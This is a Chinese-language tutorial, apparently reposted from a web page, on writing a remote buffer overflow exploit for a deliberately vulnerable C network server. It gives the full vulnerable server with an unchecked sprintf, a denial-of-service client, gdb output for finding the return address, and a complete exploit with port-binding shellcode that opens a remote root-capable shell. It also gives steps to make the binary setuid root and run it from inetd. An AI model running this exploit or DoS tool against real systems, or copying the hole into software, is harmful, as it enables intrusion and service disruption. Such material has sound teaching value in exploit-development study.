怎样写远程缓冲区溢出漏洞利用程序

  描述: 介绍如何开发远程缓冲区溢出漏洞利用程序 详细: 在此,我们假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来利用该漏洞,这样将能得到一个远程 shell。一、理解有漏洞程序:————————————— vulnerable.c ———————————#include <stdio.h>#include <netdb.h>#include <netinet/in.h>#define BUFFER_SIZE 1024#define NAME_SIZE 2048int handling(int c){char buffer[BUFFER_SIZE], name[NAME_SIZE];int bytes;strcpy(buffer, "My name is: ");bytes = send(c, buffer, strlen(buffer), 0);if (bytes == -1)return -1;bytes = recv(c, name, sizeof(name), 0);if (bytes == -1)return -1;name[bytes – 1] = ’\0’;sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);bytes = send(c, buffer, strlen(buffer), 0);if (bytes == -1)return -1;return 0;}int main(int argc, char *argv[]){int s, c, cli_size;struct sockaddr_in srv, cli;if (argc != 2){fprintf(stderr, "usage: %s port\n", argv[0]);return 1;}s = socket(AF_INET, SOCK_STREAM, 0);if (s == -1){perror("socket() failed");return 2;}srv.sin_addr.s_addr = INADDR_ANY;srv.sin_port = htons( (unsigned short int) atol(argv[1]));srv.sin_family = AF_INET;if (bind(s, &srv, sizeof(srv)) == -1){perror("bind() failed");return 3;}if (listen(s, 3) == -1){perror("listen() failed");return 4;}for(;;){c = accept(s, &cli, &cli_size);if (c == -1){perror("accept() failed");return 5;}printf("client from %s", inet_ntoa(cli.sin_addr));if (handling(c) == -1)fprintf(stderr, "%s: handling() failed", argv[0]);close(c);}return 0;}———————————————- EOF——————————————————下面将编译并运行该程序:user@linux:~/ > gcc vulnerable.c -o vulnerableuser@linux:~/ > ./vulnerable 8080../vulnerable 8080 说明你能在8080端口运行该项服务user@linux~/ > gdb vulnerableGNU gdb 4.18Copyright 1998 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-suse-linux"…(gdb) run 8080Starting program: /home/user/directory/vulnerable 8080现在该程序监听8080端口并等待连接。user@linux:~/ > telnet localhost 8080Trying ::1…telnet: connect to address ::1: Connection refusedTrying 127.0.0.1…Connected to localhost.Escape character is ‘^]’.My name is: Robin, nice to meet you!Connection closed by foreign host.user@linux:~/ >看来没有什么破绽,但是这时gdb会在屏幕上显示:client from 127.0.0.1 0xbffff28c (访地址因不同机器类型而异)二、令有漏洞程序发生缓冲区溢出重新连上该服务,为 "My name is:…" 命令行提供超过1024个字节长的输入:user@linux:~/ > telnet localhost 8080Trying ::1…telnet: connect to address ::1: Connection refusedTrying 127.0.0.1…Connected to localhost.Escape character is ‘^]’.My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA连接将中断,让我们看看gdb的输出:Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb)// Don’t close gdb !!能够看出 eip 被设到了 0x41414141。0x41 代表一个"A",当我们输入1024个字节时,该程序会试图将字符串name[2048]拷入缓冲[1024]。因此,由于 name[2048] 大于1024字节,name 将会重写缓冲并重写已被存储的 eip,我们的缓冲将会是下列形式:[xxxxxxxx-name-2048-bytes-xxxxxxxxxx][xxxxx buffer-only-1024-bytes xxx] [EIP] 在你重写了整个返回地址后,函数将会跳转到错误的地址 0x41414141,从而产生片断错误。现在为此程序写一个拒绝服务攻击工具:——————————— dos.c ———————————————#include <stdio.h>#include <netinet/in.h>#include <sys/socket.h>#include <sys/types.h>#include <netdb.h>int main(int argc, char **argv){struct sockaddr_in addr;struct hostent *host;char buffer[2048];int s, i;if(argc != 3){fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);exit(0);}s = socket(AF_INET, SOCK_STREAM, 0);if(s == -1){perror("socket() failed\n");exit(0);}host = gethostbyname(argv[1]);if( host == NULL){herror("gethostbyname() failed");exit(0);}addr.sin_addr = *(struct in_addr*)host->h_addr;addr.sin_family = AF_INET;addr.sin_port = htons(atol(argv[2]));if(connect(s, &addr, sizeof(addr)) == -1){perror("couldn’t connect so server\n");exit(0);}/* Not difficult only filling buffer with A’s…. den sending nothing more */ for(i = 0; i < 2048 ; i++)buffer[i] = ‘A’;printf("buffer is: %s\n", buffer);printf("buffer filled… now sending buffer\n");send(s, buffer, strlen(buffer), 0);printf("buffer sent.\n");close(s);return 0;}——————————————— EOF —————————————————— 三、找到返回地址:打开gdb寻找 esp:(gdb) x/200bx $esp-2000xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x410xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41—Type <return> to continue, or q <return> to quit—现在我们已经知道重写了整个缓冲,让我们试试几个地址四、exploit代码结构1、 找到 esp,然后找一个能绑定 shell 到端口的 sehllcode.2、创建一个大于1024字节的缓冲2、 用 NOP 填滿整个缓冲:memset(buffer, 0x90, 1064);3、将 shellcode 拷入缓冲memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode)); 4、在缓冲中消除零字节:buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal5、在缓冲未端拷贝返回地址:for(i = 1022; i < 1059; i+=4){((int *) &buffer[i]) = RET;// RET is the returnaddress we want to use… #define in the header}6、在准备好的缓冲未端加入一个 \0 零字节:buffer[1063] = 0x0;现在可以把它发送给有漏洞机器了。—————————————– exploit.c ———————————-/* Simple remote exploit, which binds a shell on port 3789* by triton** After return address was overwritten, you can connect * with telnet or netcat to the victim host on Port 3789* After you logged in… there’s nothing, but try to enter "id;" (don’t forget the semicolon)* So you should get an output, ok you’ve got a shell *g*. Always use:** <command>;** execute.*/#include <stdio.h>#include <netdb.h>#include <netinet/in.h>//Portbinding Shellcodechar shellcode[] ="\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8""\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89""\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0""\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd""\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9""\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75""\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08""\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";//standard offset (probably must be modified)#define RET 0xbffff5ec int main(int argc, char *argv[]) {char buffer[1064];int s, i, size;struct sockaddr_in remote;struct hostent *host;if(argc != 3) {printf("Usage: %s target-ip port\n", argv[0]);return -1;}// filling buffer with NOPsmemset(buffer, 0x90, 1064);//copying shellcode into buffermemcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));// the previous statement causes a unintential Nullbyte at buffer[1000]buffer[1000] = 0x90;// Copying the return address multiple times at the end of the buffer…for(i=1022; i < 1059; i+=4) { * ((int *) &buffer[i]) = RET;}buffer[1063] = 0x0;//getting hostnamehost=gethostbyname(argv[1]);if (host==NULL){fprintf(stderr, "Unknown Host %s\n",argv[1]);return -1;}// creating socket…s = socket(AF_INET, SOCK_STREAM, 0);if (s < 0){fprintf(stderr, "Error: Socket\n");return -1;}//state Protocolfamily , then converting the hostname or IP address, and getting port numberremote.sin_family = AF_INET;remote.sin_addr = *((struct in_addr *)host->h_addr);remote.sin_port = htons(atoi(argv[2]));// connecting with destination hostif (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1){close(s);fprintf(stderr, "Error: connect\n");return -1;}//sending exploit stringsize = send(s, buffer, sizeof(buffer), 0);if (size==-1){close(s);fprintf(stderr, "sending data failed\n");return -1;}// closing socket close(s);}—————————————– EOF————————————-五、使用 exploit:user@linux~/ > gcc exploit.c -o exploituser@linux~/ > ./exploit <host> <port>如果你得到了正确的返回地址,它将管用。user@linux~/ > telnet <host> 3879id;uid=500(user) gid=500(user) groups=500(user)可以看出,我们成功了。六、取得 root 权限:user@linux~/ > supassword: ******root@linux~/ > ls -ln vulnerable-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerableroot@linux~/ > chown root vulnerableroot@linux~/ > chmod 6755 vulnerableroot@linux~/ > ./vulnerable <port>七、进入 inetd.conf 中定义的服务将有漏洞程序拷入 /usr/bin/root@linux~/ > cp vulnerable /usr/bin/vulnerableroot@linux~/ > vi /etc/services加入下面的信息:vulnerable 1526/tcp # defining port for our server programroot@linux~/ > vi /etc/inetd.conf加入下面的信息:vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526重启 inetd:root@linux~/ > killall -HUP inetd八、可能出现的问题:如果 exploit 无法使用,,请考虑返回地址,用gdb进行测试:user@linux~/ > gdb vulnerable……(gdb) run <port>(c) copyright by Robin Walser irc.euirc.net #usad 原作者:TNT.来 源:你可能付出一定的代价,但日后你得到的,远比付出的多得多。

怎样写远程缓冲区溢出漏洞利用程序

相关文章:

你感兴趣的文章:

标签云: